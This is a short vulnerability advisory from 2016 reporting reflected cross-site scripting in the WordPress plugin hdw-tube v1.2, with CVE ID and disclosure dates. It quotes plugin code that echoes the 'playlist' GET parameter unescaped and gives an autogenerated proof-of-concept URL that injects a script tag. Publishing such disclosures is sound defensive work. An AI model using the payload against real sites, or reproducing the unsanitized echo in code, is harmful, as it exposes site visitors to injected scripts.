Advisory #: 530
Title: Reflected XSS in wordpress plugin hdw-tube v1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/hdw-tube
Downloads: 3409
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: hdw-tube
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./hdw-tube/playlist.php: 385: $hdwt.post(location.href,{likedplaylist:'<?php echo $_GET['playlist'];?>'}, function( data ) { 391: $hdwt.post(location.href,{dislikedplaylist:'<?php echo $_GET['playlist'];?>'}, function( data ) { 398: $hdwt.post(location.href,{deletemyplaylist:'<?php echo $_GET['playlist'];?>'}, function( data ) { The variable playlist appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000134
File:./hdw-tube/playlist.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/hdw-tube/playlist.php?playlist="><script>alert(1);</script><"